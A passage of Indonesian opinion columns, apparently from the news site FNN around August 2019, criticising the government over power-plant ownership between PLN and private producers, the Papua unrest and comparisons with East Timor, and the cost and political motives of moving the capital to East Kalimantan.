strategis BUMN bagi pemerintah. "Misalnya posisi Menteri BUMN diganti, direksi BUMN berpotensi menimbulkan masalah karena bawaan menteri lama. Rini sepertinya sedang mencoba membuat Jokowi takut dan khawatir," paparnya. Harusnya, Jokowi bisa mencegah Rini merombak jajaran direksi BUMN. Sebab, Menteri BUMN memiliki kewenangan mengganti direksi BUMN atas mandat dari Presiden. Maknanya, Presiden bisa mencabut mandat itu. Toh itu tidak dilakukan. Mungkin benar apa kata Rini, bahwa semua nantinya akan dikomunikasikan dengan Jokowi. "Nanti, lihat aja hasilnya," ujarnya enteng. End

Pembangkit: PLN dan Swasta Siapa Lebih Dominan?

Penguasaan pembangkit yang hanya 51% oleh PLN Grup berpotensi menimbulkan risiko pengendalian ketersediaan pasokan listrik oleh swasta. Kalau pasokan sudah dikendalikan, mereka pasti juga akan mengendalikan harga. Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - Urusan setrum menyetrum ternyata tidak sesederhana yang diperkirakan banyak orang. yang dimaksud ‘orang’ di sini bukan melulu rakyat awam, lho. Ternyata, para pejabat publik, bahkan termasuk orang-orang yang diamanahi dan atau punya otoritas urusan setrum pun, banyak yang tidak paham. Tidak percaya? Coba tengok Rencana Umum Penyediaan Tenaga Listrik (RUPTL) PLN 2016-2025. Berdasarkan ketentuan ini, Pemerinta berambisi membangun pembangkit listrik 35 GW. Dalam pelaksanaannya, PLN dapat alokasi membangun 10.559 MW. Selebihnya yang 25.068 MW dikerjakan oleh Independent Power Producer (IPP) melalui kerjasama penyediaan tenaga listrik. Anda perhatikan komposisinya? Swasta punya porsi dominan, 25.000 MW lebih! Dalam soal penyediaan tenaga listrik, ada Peraturan Presiden RI nomor 4/2016 sebagaimana telah diubah dengan Peraturan Presiden RI nomor 14 Tahun 2017 tentang Percepatan Pembangunan Infrastruktur Ketenagalistrikan (PIK). Di Perpres ini jelas-jelas Pemerintah menugaskan PLN membangun pembangkit tenaga listrik sebanyak 35 GW, gardu induk sebanyak 103 GVA, dan jaringan transmisi sebanyak 46.000 kms. Tidak ada pembagian komposisi rigit antara PLN dan swasta. Dalam pelaksanaannya, PLN bisa melakukannya dengan cara swakelola atau kerjasama penyediaan tenaga listrik dengan anak perusahaan PLN. Cara lain, bisa juga menggandeng Pengembang Pembangkit Listrik (PPL). Memangkas PLN Bisa dikatakan RUPTL ini merupakan ‘turunan’ dari Perpres 14/2017. Tapi, dengan lahirnya RUPTL porsi PLN dalam pembangunan pembangkit dipangkas menjadi hanya 10.000an MW. Asal tahu saja, komposisi kepemilikan pembangkit tenaga listrik yang produksinya dijual melalui PLN Grup sebelum PIK adalah 36.973 MW (79%) dimiliki oleh PLN Grup dan 10.121 MW (21%) dimiliki oleh swasta. Ulangi, 79% PLN dan 21% swasta! Pentingkah soal komposisi pembangunan pembangkit antara PLN dan swasta? Tentu. Sangat penting. Bayangkan, jika 25.068 MW pembangkit dibangun oleh IPP, maka persentase kepemilikan pembangkit PLN Grup usai berakhirnya program PIK bakal melorot jadi 57%. Sampai di sini paham? Belum juga? Ok, begini konsekwensinya. Penguasaan pembangkit yang hanya 51% oleh PLN Grup berpotensi menimbulkan risiko pengendalian ketersediaan pasokan listrik oleh swasta. Kalau pasokan sudah dikendalikan, mereka pasti juga akan mengendalikan harga. Harga listrik bakal swasta kerek tinggi-tinggi. Bukankah laba adalah ‘tuhan’ bagi swasta yang menjadi tujuan utama? Mungkin dengan naif anda akan berkata, Pemerintah bisa menegur bahkan menjatuhkan sanksi kepada swasta yang menaikkan harga listrik seenak udelnya. Hohoho... kita sudah lama tidak punya Pemerintah yang bisa berbuat begitu. Coba tengok, apa yang Pemerintah lakukan saat harga beras mahal? Rakyat baiknya diet. Harga daging mahal? Rakyat ganti makan bekicot. Harga cabai mahal? Sebaiknya rakyat tanam cabai sendiri. Dan seterusnya, dan seterusnya... Oya, satu lagi yang sangat perlu anda ketahui. Bisnis setrum teramat menggiurkan. Itulah sebabnya banyak pejabat yang berada di balik layar perusahaan swasta sebagai pemillik. Kalau pun mereka tidak punya selembar pun saham, dengan kekuasaan dan otoritas di tangan, pundi-pundi mereka bakal penuh dialiri uang sogok para swasta yang membeli kebijakan para pejabat culas tadi. Anda bisa bayangkan, apa jadinya kalau swasta mengendalikan pasokan dan harga listrik? Ujung-ujungnya bisa mengganggu ketahanan dan kedaulatan listrik nasional. Sudah terbayang kengerian yang bakal terjadi? Listrik berada di bawah kendali para mafia. Kembali ke soal RUPTL tadi, ternyata memang tidak semua pejabat publik, bahkan yang punya otoritas di kelistrikan, memahami dengan baik seluk-beluk persetruman. Yang dimaksud pejabat publik di sini bukan cuma di Kementerian ESDM, tapi juga mereka yang duduk sebagai anggota DPR di Senayan sana. Dan, yang lebih seram lagi, para pejabat publik tadi bukan cuma level dirjen apalagi cuma direktur. Mereka justru ada yang menteri bahkan Menko. Ngeri, kan? Bisnis Ratusan Triliun Bisa jadi, mereka memang tidak paham. Tapi, maaf, bukan tidak mungkin justru karena mereka sangat paham sampai ke tataran ini, maka aturan sengaja dibuat untuk memuluskan lahirnya dominasi swasta dalam pengadaan listrik dan pengendalian harganya. Ingat, bisnis setrum dan yang terkait (batubara, BBM, pelumas, dan lainnya) adalah bisnis skala superjumbo. Per kontrak nilainya bukan cuma semiliar-dua miliar perak. Tapi ratusan miliar hingga triliunan bahkan ratusan triliun rupiah. Siapa yang tidak ngiler? Mau contoh? Pada 2018 saja, pembelian listrik dari swasta oleh PLN tercatat Rp84,3 triliun. Ini belum seberapa. Pada periode yang sama, belanja bahan bakar dan pelumas pabrik setrum pelat merah ini mencapai Rp137,3 triliun. Siapa bilang bisnis setrum tidak legit bin gurih? Mungkin kita yang waras meragukan teori ini. Mosok ada pejabat publik yang gaji dan seabrek fasilitasnya dibayari rakyat tapi kebijakannya justru menyengsarakan rakyat. Harusnya memang hal seperti ini tidak (boleh) terjadi. Tapi, iming-iming komisi yang menggiurkan dari para pemilik pembangkit swasta terlalu sulit untuk ditampik. Soal komisi ini berlaku bagi para pejabat yang tidak punya pembangkit. Sebaliknya, bukan rahasia banyak juga yang menjadi penguasaha alias penguasa sekaligus pengusaha. Menko Ekuin era Presiden Abdurrahman Wahid, Rizal Ramli, menyebut makhluk jenis ini dengan Pengpeng. “Menjadi penguasa itu mulia. Jadi pengusaha juga mulia. Tapi kalau menjadi Pengpeng sekaligus, ini akan menimbulkan keserakahan dan ketidakadilan. Dengan kekuasaan di genggaman, para Pengpeng merebut bisnis dari pengusaha murni yang tidak punya akses ke lingkar kekuasaan. Para Pengpeng mengendalikan harga untuk meraih keuntungan sangat tidak wajar. Akibatnya, terjadi distorsi ekonomi yang ujung-ujungnya merugikan negara dan memberatkan rakyat,” papar Rizal Ramli dalam banyak kesempatan. Dominasi Negara, Penting! Sampai di sini semestinya menjadi keharusan jika negara harus punya kendali penuh atas pasokan dan harga listrik. Itulah sebabnya komposisi kepemilikan pembangkit oleh PLN seharusnya jauh lebih dominan dibandingkan swasta. Kendati sama-sama entitas usaha, watak keduanya tentu berbeda. Swasta menjadikan laba sebagai tujuan utama. Untuk itu segala cara bisa dan akan mereka lakukan untuk mewujudkannya. Sedangkan PLN, walau harus menghasilkan laba, sebagai BUMN ia juga punya kewajiban melayani rakyat dan negara. Kepada rakyat PLN wajib menyediakan listrik yang andal, berkesinambunga, dan terjangkau harganya. Buat negara selaku pemegang saham, PLN musti menyetor sebagian labanya sebagai dividen. Tentu saja, semua pasal ini sama sekali tidak berlaku bagi swasta. Jadi, sekali lagi perkara komposisi kepemilikan pembangkit menjadi amat sangat penting. Sebagai rakyat, kita memang mustahil bisa tahu dengan detil. Meski begitu kita tetap bisa ‘bunyi’ bahkan berteriak saat mengendus adanya tangan-tangan kotor yang berusaha menelikung aturan main guna memuaskan syahwat para Pengpeng dan atau swasta yang berselingkuh. End.

Begitulah Hebatnya Jokowi Menghadapi Gejolak Papua

Berbagai media melaporkan situasi yang mencekam di Jayapura dan juga di tempat-tempat lain. Jokowi tetap ‘cool’. Biasa-biasa saja. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Banyak yang mengkritik atau mengecam cara Jokowi menyikapi pergolakan di Papua. Dia santai. Bagaikan tak ada kejadian apa-apa. Dia tangguhkan kunjungan ke Papua. Padahal, kunjungan itu perlu untuk menunjukkan keseriusan pemerintah meredakan kemarahan orang Papua. Jawaban Jokowi, “Belum ada waktu yang cocok.” Jokowi kalem. Tenang. Bahkan dia sempatkan menonton wayang di Purworejo pada saat kerusuhan berkobar di Jayapura. Dia tidak panik meskipun korban mulai jatuh di pihak TNI dan Polri dalam kerusuhan di Deiya, Rabu, 28/8/2019. Berbagai media melaporkan situasi yang mencekam di Jayapura dan juga di tempat-tempat lain. Jokowi tetap ‘cool’. Biasa-biasa saja. Dia tepati janji ikut bersepeda santai di Borobudur. Apakah ini salah? Siapa bilang salah menepati janji? Bukankah menepati janji sangat penting? Tentu saja. Karena selama ini banyak sekali yang nyinyir menuduh Jokowi tak menepati janji-janjinya. Jadi, orang harus paham bahwa Jokowi tidak membatalkan jadwalnya disebabkan beliau sekarang berusaha memenuhi janji. Perkara situasi Papua disebut-sebut genting, tidak masalah. Sebab, jadwal wayang dan bersepeda santai itu perlu ditunaikan supaya presiden tidak dikatakan grasa-grusu dalam bereaksi. Tempo hari Jokowi dikritik langsung oleh Wiranto karena ‘grasa-grusu’ mengatakan Ustad Abu Bakar Ba’asyir akan dibebaskan awal tahun ini. Nonton wayang di Purworejo itu penting atau tidak? Pastilah penting. Jokowi perlu menyerap falsafah wayang yang ditayangkan itu untuk menghadapi berbagai situasi. Bagaimana dengan bersepeda santai di Borobudur? Ini malah lebih penting lagi. Karena presiden harus membangkitkan semangat rakyat menggunakan sepeda. Penggunaan sepeda perlu digalakkan sambil menunggu produksi mobil Esemka. Sebentar lagi! Jadi, Jokowi itu tidak sembarangan. Setiap geraknya punya makna. Lagi pula, Jokowi itu ‘kan dikawal oleh Mahfud MD. Artinya, selagi Mahfud tidak banyak berkoar soal Papua, pasti semuanya aman. Mahfud diam soal bendera Bintang Kejora di seberang Istana. Itu artinya Jokowi aman. Jadi, begitulah hebatnya Jokowi menghadapi gejolak Papua yang semakin lantang meneriakkan kemerdekaan.*** (30 Agustus 2019)

Rusuh Papua, Belajarlah dari Timor Timur

Tidak ada pidato kenegaraan (presidential address). Menyampaikan langkah-langkah apa yang akan diambil pemerintah. Sebuah pidato resmi yang ditujukan kepada bangsa dan negara menghadapi kondisi darurat. Sebuah kegentingan yang memaksa. Oleh Hersubeno Arief Jakarta, FNN - Eskalasi kerusuhan di Papua terus meningkat. Situasinya sudah mencapai tahap berbahaya. Sangat mengkhawatirkan. Di Kabupaten Deyai, Papua unjukrasa berakhir rusuh. Sejumlah petugas dan warga tewas. “Dari TNI ada tiga orang. Satu meninggal dunia, dua luka dan sekarang masih kritis. Sedangkan dari aparat kepolisian ada empat luka-luka. Masyarakat satu yang meninggal, juga tewas karena kena panah dan senjata-senjata dari masyarakat sendiri," kata Menkopolhukam Wiranto di Gedung DPR, Senayan, Jakarta, Kamis (29/8). Gambar-gambar prajurit TNI dan Polri yang roboh bersimbah darah dengan kepala tertusuk panah, beredar luas di media sosial. 10 pucuk senjata SS 1 milik TNI dikabarkan dirampas oleh pengunjukrasa. Banyak yang geram. Mendidih darahnya menyaksikan gambar -gambar itu. Sejumlah bangunan milik pemerintah, swasta, pertokoan dan pasar dibakar. Ribuan warga mengungsi. Bendera Bintang Kejora secara serentak dikibarkan di beberapa tempat di Indonesia. Termasuk di depan Mabes TNI, bahkan di depan Istana Merdeka. Simbol kedaulatan bangsa Indonesia. Ratusan mahasiswa Papua, sebagian bertelanjang dada dan melukis wajahnya dengan Bintang Kejora bebas menari-nari di depan istana. Seolah tampil dalam sebuah festival kesenian dan budaya. Mereka menyanyikan lagu perlawanan dengan syair //Papua bukan Merah Putih// Papua Bintang Kejora/ Bintang Kejora. //Baru-baru /Kau Bilang Merah Putih!// Seorang orator membakar semangat para pengunjuk rasa. Ketika dia meneriakkan “Papua!” Dijawab secara serentak “Merdeka!” Sangat disayangkan respon pemerintah sangat tidak memadai. Normatif dan terkesan tidak mengerti apa yang harus dibuat. Bingung sendiri. Diplomasi dan komunikasi publik pemerintah sangat dangkal. Mendagri Tjahjo Kumolo mengingatkan, “menyampaikan aspirasi boleh, asal jangan anarkis.” Kepala Staf Presiden Moeldoko mengingatkan agar tidak menyikapi secara berlebihan dan emosi. Presiden Jokowi hanya mengulang kata-kata yang itu-itu saja. Menunjukkan pemahaman serta sensitivitas yang rendah. Mama papa, pace, mace, anak-anak Papua bla….bla….” Tidak ada pidato kenegaraan (presidential address). Menyampaikan langkah-langkah apa yang akan diambil pemerintah. Sebuah pidato resmi yang ditujukan kepada bangsa dan negara menghadapi kondisi darurat. Sebuah kegentingan yang memaksa. Seolah keinginan rakyat Papua melepaskan diri dari Indonesia, merupakan soal kecil. Bukan persoalan serius. Hanya sikap merajuk dari salah satu provinsi karena diperlakukan tidak adil, dan selalu diabaikan. Alih-alih berkantor atau setidaknya membuka posko darurat di Papua, sebagai bentuk keseriusan. Presiden masih bersikap business as ussual. Presiden Jokowi dan sejumlah pejabat negara masih sempat-sempatnya tertawa terpingkal-pingkal menyaksikan ulah pelawak Kirun yang tampil dalam pertunjukan wayang di Alun-alun Kota Purworejo, Jateng, Kamis (29/8) malam. Sejumlah kalangan sudah menyerukan situasi di Papua sangat gawat. Sebuah situasi yang jauh lebih serius bila dibandingkan dengan saat provinsi Timor-Timur lepas dari Indonesia. Papua bisa menjadi pintu masuk disintegrasi bangsa. Indonesia bisa terjerembab dalam Balkanisasi. Terpecah-pecah menjadi banyak negara. Seperti yang terjadi pada negara eks Yugoslavia. Seorang jenderal senior yang sangat berpengalaman dalam berbagai operasi separatisme di Timtim, Aceh, dan Papua menggambarkan, “ Papua ini induknya. Timtim anaknya.” Jadi persoalan Papua ini harus disikapi dengan effort yang jauh lebih serius, terencana, dan komprehensif dibandingkan Timtim. Jangan dianggap main-main. Jangan malah ketawa-ketiwi. Diplomat senior Dino Patti Djalal mantan juru bicara Pemerintah RI dalam proses jajak pendapat di Timtim mengingatkan betapa pentingnya belajar dari kesalahan lama. Secara halus, namun tegas dia mengingatkan, bangsa Indonesia, khususnya pemerintah yang berkuasa saat ini mengambil pelajaran yang sangat mahal dari lepasnya Timtim. “Pelajaran dari era Timor Timur, berkaitan dengan politik identitas, diplomasi, strategi militer, politik lokal, budaya, pemuda, pendidikan, penanganan wartawan dan LSM asing, dan banyak lagi,” tulisnya. (Potensi Papua lepas sangat besar) Dibandingkan dengan Timtim, potensi Papua lepas dari Indonesia jauh lebih besar. Secara ekonomi, politik, maupun pertarungan geopolitik global, posisi Papua lebih menarik dan menentukan. Dari sisi ekonomi potensi sumber daya alam Papua jauh lebih menggiurkan. Mulai dari tambang, energi, hutan, potensi kelautan, wisata Dll. Yang sangat kasat mata adalah keberadaan tambang emas PT Freeport di Timika. Papua adalah harta karun yang menjadi incaran dunia. Negara adidaya AS sangat berkepentingan di Papua. Negara tetangga dekat Australia juga. Cina sebagai pesaing AS diam-diam juga sudah mengincarnya. Setelah menguasai tambang nikel di Sulawesi Tenggara, bersiap-siap masuk Kalimantan karena adanya proyek infrastruktur pemindahan ibukota, Cina pasti ingin membuat lompatan baru ke Papua. Secara geopolitik global, Papua menjadi perebutan dan pertarungan negara-negara adidaya dunia. Sangat terbuka kemungkinan kerusuhan dan huru-hara di Papua merupakan ekses dari kian dekatnya Poros Jakarta-Beijing. Termasuk rencana pemindahan ibukota ke Kalimantan Timur. Jangan dilupakan, masalah Papua tidak lepas dari gelombang persaudaraan ras Melanesia (Melanesian Brotherhood). AS, Inggris dan Australia menjadi salah satu penyokong dan “pelindung” 16 Forum Negara Kepulauan Pasifik ( Pasifik Island Region). Dengan didukung negara-negara Afrika —karena persamaan warna kulit—Forum Negara Kepulauan Pasifik ini bisa memainkan peran penting dalam lobi-lobi kemerdekaan Papua di PBB. Lemahnya kualitas kepemimpinan nasional, rendahnya legitimasi pemerintah karena adanya tudingan pilpres yang curang, rusuh dan tuntutan kemerdekaan di Papua, membuat Indonesia berada di ujung tanduk. Situasinya kian diperburuk oleh kohesi bangsa yang rendah dan rentan. Diam-diam banyak tokoh, cerdik pandai dan warga Indonesia bersikap masa bodoh. Mereka malah berharap rusuh di Papua menjadi pintu masuk kejatuhan rezim Jokowi. Dalam bahasa Jawa sikap semacam ini sering digambarkan dengan sebuah kata, “ Rasakno! Kapokmu Kapan!” Sulit mencari padanannya dalam bahasa Indonesia. Secara rasa bahasa, kata yang mendekati barangkali adalah “Syukurin! Rasain! Kan sudah saya ingatkan berkali-kali!” Sebuah sikap yang sangat disayangkan. Tapi apa boleh buat, harus kita akui dengan jujur, begitulah adanya. Papua, Dont Leave Me, Please! End

Ibu Kota Baru: Legacy Berbiaya 200 Miliar Per Pejabat

Pak Jokowi hendaknya tidak hanya mengutamakan hasrat legacy (warisan) saja. Hasrat untuk disebut-sebut sebagai presiden yang mewujudkan pemindahan ibu kota. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Rakyat pantas mencurigai motif pemindahan ibu kota negara ke Kalimantan. Mengapa Presiden Jokowi sangat memaksakan pemindahan itu? Padahal, Jakarta masih bisa berfungsi sebagai pusat pemerintahan. Di sisi lain, bangsa dan negara ini sedang dilanda krisis multi-dimensional yang memerlukan penanganan serius oleh pemerintah. Negara sedang menghadapi kesulitan finansial. Utang bertimbun-timbun. Di bulan Mei 2019, jumlah utang sesuai catatan Bank Indonesia (BI) mencapai USD368 miliar atau sekitar 5,267 (lima ribu dua ratus enam puluh tujuh) triliun. Dari jumlah ini, utang pemerintah mencapai 4,603 triliun. Tahun 2019 ini, cicilan utang itu 400 triliun. Terdiri dari bunga 275.9 triliun, utang pokok 120.7 triliun. Jadi, setiap hari kita harus membayar 1 triliun lebih. Satu triliun itu seribu (1,000) miliar. Itu berarti setiap 10 menit kita bayar 7 (tujuh) miliar rupiah. Di tengah beban utang yang sangat dahsyat ini, Presiden Jokowi tak menghiraukan anjuran para pemuka bangsa. Agar berhenti dulu membicarakan pemindahan ibu kota. Banyak masalah urgen yang harus dipririotaskan Presiden. Khususnya gejolak politik dan keamanan di Papua dan Papua Barat. Tetapi, Jokowi bersikeras untuk memindahkan ibu kota. Beberapa hari lalu, tepatnya 26 Agustus 2019, Jokowi menetapkan Penajam Paser Utara dan Kutai Kartanegara di Kalimantan Timur sebagai lokasi ibu kota baru Indonesia. Pembangunan fisik akan dimulai pertengahan 2020. Perkiraan awal biaya pembangunan ibu kota baru itu mencapai hampir 500 triliun rupiah. Hanya untuk mencipakan kenikmatan bagi para pejabat tinggi. Kalau jumlah pejabat tinggi ada 2,500 orang (legislatif, eksekutif, dan yudikatif), berarti biaya pemindahan satu orang mencapai 200 miliar. Nah, haruskah pemindahan ini dibiarkan? Akumulasi masalah besar yang sedang melanda negara ini menyimpulkan agar pemindahan ibu kota jangan sampai terjadi. Setidaknya untuk saat ini. Pemindahan itu masih bisa ditunda. Pak Jokowi hendaknya tidak hanya mengutamakan hasrat legacy (warisan) saja. Hasrat untuk disebut-sebut sebagai presiden yang mewujudkan pemindahan ibu kota. Jangan khawatir soal ‘legacy’. Anda telah mencatatkan diri sebagai presiden dengan rekor utang terbesar. Anda juga menyaksikan polarisasi sosial-politik terhebat. Di masa Anda ini pula berlangsung pemilu/pilpres paling kacau dalam sejarah dengan korban nyawa 600 petugas KPPS. Jadi, legacy Anda sudah cukup banyak, Pak Jokowi. Bolehlah ditangguhkan legacy ibu kota baru. (31 Agustus 2019)

Pemindahan Ibukota dan Nasib Anies Baswedan

Kemungkinan besar Jokowi menemukan ide pindah ibukota lebih tepat jika dikaitkan dengan kekalahan sekutu Jokowi, Ahok dalam pilkada DKI. Lalu, tindakan Gubernur Anies memberhentikan reklamasi teluk Jakarta, sebuah skala bisnis ribuan triliun, tidak sejalan dengan pemerintahan Jokowi yang ingin hal itu terus berlangsung. Oleh Dr. Syahganda Nainggolan, Jakarta Development Initiative Jakarta, FNN - Soal Jokowi memindahkan ibukota sudah mendapat bahasan dari berbagai ahli. Yang paling idealis adalah pakar hukum tatanegara, Irman Putrasidin, dalam pesan munajat konstitusi. Dia mengaitkan kesakralan ibukota, yakni Jakarta, sebagai jejak perjuangan bangsa melawan kolonialisme. Model analisis tanah dan kesakralannya, di mana tanah tempat berpijak dianggap mewarisi nilai intrinsiknya, dibanding nilai nominal, merupakan idealisasi kaum perjuangan dalam melihat tanah berpijak. Semakin banyak nilai2 di tanah itu, seperti makam2 para orang suci, semakin bernilai tanah tersebut. Putrasidin menolak pemindahan ibukota ke Kalimantan Timur, karena tempat baru itu tidak mempunyai akar sejarah yang kuat sebagai centrum perekat bangsa. Pandangan Fahri Hamzah lebih pada aspek legal dan prosedur. Fahri mengatakan bahwa Jokowi perlu merubah 8 Undang Undang sebelum bicara memindahkan ibukota, atau secara sepihak menyatakan ibukota baru ada di Kalimantan Timur. Pandangan Ridwan Kamil, Gubernur Jabar, lebih pada desain ibukota baru. Menurutnya ibukota baru lebih baik mencontoh Washington D. C, ibukota Amerika, yang proporsi penduduk dan luas tanah seimbang untuk mudah dikembangkan. Kutai Kartanegara dan Penajem, dengan lahan yang disediakan 200.000 Ha versus penduduk 1,5 juta tidak ideal. Akan mubazir seperti ibukota pindahan Brazil, Brasilia, yang kosong atau juga Ibukota pindahan Burma, Naypyidaw. Brasilia dan Naypyidaw menurut RK kurang benar perencanaannya. Ukuran lahan menurut TK cukup sekitar 35.000 HA untuk rencana ibukota baru, agar tidak mubazir. Pandangan lainnya, Muhammad Said Didu, mantan sekretaris Menteri BUMN, lebih kepada siapa pembiaya pembangunan ibukota baru ini? Menurutnya dalam situasi ekonomi yang sulit, biaya hanya mungkin dilakukan dengan hutang dan kombinasi dengan menjual asset negara ketangan asing di Jakarta. Aspek teori dalam Pemindahan Ibukota Pemindahan ibukota sering terjadi diberbagai negara2 di dunia dan berlangsung sejak dahulu kala. Western Roman Empire (Kerajaan Roma) misalnya memindahkan ibukota dari Milan ke Revenna Ketika Revenna diserang kaum barbar, ibukota dipindahkan ke Konstantinopel, tempat di mana Kerajaan Roma Timur berada. Indonesia sendiri memindahkan ibukota dari Jakarta ke Yogyakarta, pada awal kemerdekaan, karena Belanda merebut ibukota Jakarta dan tidak mengakui Republik Indonesia. Di luar urusan perang atau penaklukan, Edward Schatz, Southern Illinois University, dalam "When capital cities move: the political geographic of nation and state building", 2003, mengetengahkan disposisi bahwa pemindahan ibukota umumnya terkait dengan "state and nation building". Schatz menggambarkan fenomena berbeda negara di eropa dengan non-eropa dengan merujuk pada Westphalia (German abad ke 17). Di eropa " state and nation building" telah berlangsung lama sebelum muncul negara modern seperti yang kita kenal saat ini. Urusan di sana adalah pemantapan negara berbasis spasial atau territorial. Sementara di luar eropa, khususnya setelah era kolonial, membentuk negara setelah merdeka berarti membangun struktur kenegaraan dan birokrasi terlebih dahulu. Lalu diikuti dengan proses "nation building". Ketika batas teritorial semakin tegas, maka isu ibukota menjadi penting. "Why move a capital city?" Menurut Schatz ada 3 pandangan terkait pertanyaan "mengapa pindah ibukota?", pertama, "Authoritarianism and Authoritarian Preference". Hal ini terkait dengan keangkuhan pemimpin suatu negara, yang pendapatnya di luar akal sehat ("against common sense, popular opposition, and the advice of wiser policy-makers"). Kedua adalah alasan "rational-technical". Alasan ini adalah alasan yang umumnya diberikan pemerintah seperti menumbuhkan pembangunan wilayah dan efiensi administrasi negara. Ketiga adalah "the political geography nation and state building". "State building" maksud dia "I mean the effort to undermine alternative, rival power bases and develop viable institutions". Artinya negara dimaksudkan untuk menjadi institusi supermasi yang tidak boleh ditandingi institusi lainnya. sedangkan "nation building" maksudnya "I mean the effort to secure the loyalty of broad populations inhabiting the territory represented by the state". Artinya membangun loyalitas rakyat. State Building ini dilakukan dengan "Building the state via patronage, symbolic state building & controling cultural diversity". Schatz yang melakukan studi kasus atas Kazakhstan, yang memindahkan ibukota dari Almity ke Astana, menemukan beberapa hal yakni 1) adanya konsolidasi kekuasaan Nursultan, sang presiden, semisal adanya marginalisasi birokrasi lama yang berorientasi eks sovyet dan membangun sistem patron-client baru berbasis kepentingan ekonomi, 2) menempatkan Kazakhstan sebagai bangsa eurasia, ketimbang Kazak atau Rusia. Pemikir lainnya, Vadim Rossman, seorang Professor berkebangsaan Russia, pengarang buku "Capital Cities: Varieties and Patterns of Development and Relocation", dalam citylab. com, mengetengahkan proses pindah ibukota akan berlangsung baik jika lokasi baru memberikan keseimbangan dan inklusif pada sebanyak2nya level terkait "territorial, economic, ethnic & religious". Kota baru juga jangan diharapkan langsung berfungsi. Sedikitnya butuh satu abad untuk melihat ibukota baru sukses, seperti Washington D.C. Misteri Pemindahan Ibukota Pemindahan ibukota adalah pekerjaan besar dan sakral. Jokowi sudah mengumumkan permintaan ijin ke DPR RI pindah ibukota dalam pidato kenegaraan, 16 Agustus lalu. Dalam pidato diistana beberapa hari lalu, Jokowi juga mengumumkan lokasi baru ibukota Indonesia, yakni di Kutai Kartanegara dan Penajem Paser Utara, Kaltim. Mengapa Jokowi tidak memasukkan agenda besar negara ini dalam NAWACITA? sebagai acuan gagasan besarnya selama periode 2014-2019. Anehnya juga selama debat pilpres 2019 juga Jokowi tidak memasukkan agenda pindah ibukota dalam narasi besarnya. Jika melihat alasan standar pemindahan ibukota yang dikeluarkan pemerintahan, seperti kata Schatz ulasan di atas, itu merupakan alasan teknis rasional di mana beban Jakarta sudah tidak mampu lagi menopang keberadaan ibukota. Pindahnya ibukota juga akan menjadikan adanya pertumbuhan ekonomi baru di luar Jawa yakni Kalimantan Timur, dengan investasi awal lebih kurang Rp. 400 Triliun. Pertanyaannya adalah apakah langkah sampul Jokowi ini sudah ada sejak 2014? Merujuk dibuangnya Andrinof dari posisi menteri PPN/ Bappenas (di mana Andrinof dan pemikir utamanya Dr. Jehansyah Sirgar dalam visi 2035 selalu berteriak pindah ibukota), memperlihatkan tidak mungkin Jokowi menyimpan ide itu saat itu. Bahkan, Jokowi kala itu masih meyakinkan rakyat Indonesia bahwa urusan Jakarta akan mudah dibangun setelah dia menjadi Presiden. Kemungkinan besar Jokowi menemukan ide pindah ibukota lebih tepat jika dikaitkan dengan kekalahan sekutu Jokowi, Ahok dalam pilkada DKI. Lalu, tindakan Gubernur Anies memberhentikan reklamasi teluk Jakarta, sebuah skala bisnis ribuan triliun, tidak sejalan dengan pemerintahan Jokowi yang ingin hal itu terus berlangsung. Terkait dengan teori Schatz tentang konsolidasi power, sosok Anies di Jakarta dengan Jakarta sebagai ibukota, akan menciptakan "matahari kembar" pada rakyat Indonesia, seolah di ibukota ada dua pemimpin besar. Dengan ibukota di Kaltim dan Jokowi di sana sebagai figur tunggal, maka kepemimpinan Jokowi akan maksimal. Lalu, apabila Jakarta dihilangkan statusnya sebagai ibukota, maka Anies sebagai Gubernur akan kehilangan "kewibawaan legalnya", yang kemudian eksistensinya akan juga seperti kota2 provinsi lainnya yang diatur oleh UU Pemerintahan Daerah saja. *Melucuti Anies Baswedan* Motif utama Jokowi memindahkan ibukota sudah dijelaskan pemerintahan secara resmi. Namun, dampak politik bagi Anies Baswedan akan segera terasa. Pengumuman ibukota baru yang dilakukan Jokowi baru2 ini telah mendelegitimasi keberadaan Jakarta sebagai ibukota. Istilah Irman Putrasidin tentang kesakralan ibukota Jakarta akan meredup. selanjutnya, UU Ibukota akan dicabut dan DPR yang didominasi rezim Jokowi akan membuat UU Ibukota di Kaltim tersebut. Dengan rezim UU Pemerintahan Daerah, Anies tidak mengontrol lagi Jakarta seperti saat ini. Jakarta akan mempunyai kepala2 daerah tingkat 2, yang dipilih langsung. Izin reklamasi nantinya bisa saja dilakukan setingkat walikota bukan Gubernur. Dari sisi politik, Anies akan kehilangan derajat lebih tinggi dari gubernur2 lainnya. Biasanya Gubernur DKI akan dominan dalam forum antar gubernur. Begitu juga "effort" atau usaha Anies bertarung merebut kepemimpinan Jakarta pada 2017 lalu sebagai jembatan bagi batu lomptan menuju kepemimpinan nasional, seperti yang dilakukan Jokowi, sudah atau akan kehilangan jejaknya. Bahkan, bisa sia sia. Penutup Membahas pemindahan ibukota menurut Schatz dapat melihat multi perspektif. Namun, memilih sebuah perspektif menjadi penting untuk melihat kausalitasnya. Pendukung Jokowi akan melihat sisi baik pemindahan ibukota, khususnya dari teori Edward Schatz tentang "Rational-technical". Namun, dari kaum oposisi, pelucutan kewenangan Anies Baswedan di Jakarta akan mengurangi kewibawaan Anies sebagai tokoh besar ke depan. Namun tetap kita berharap kemashalatan pindah Ibukota ini buat kebaikan bangsa dan mendorong Anies Baswedan melakukan refleksi arah dan strategi politiknya ke depan. Foto: Kota Samarinda dialnda Banjir

FNN.co.id Disuspend Selama 18 Jam Atas Permintaan “Bank Nganu”

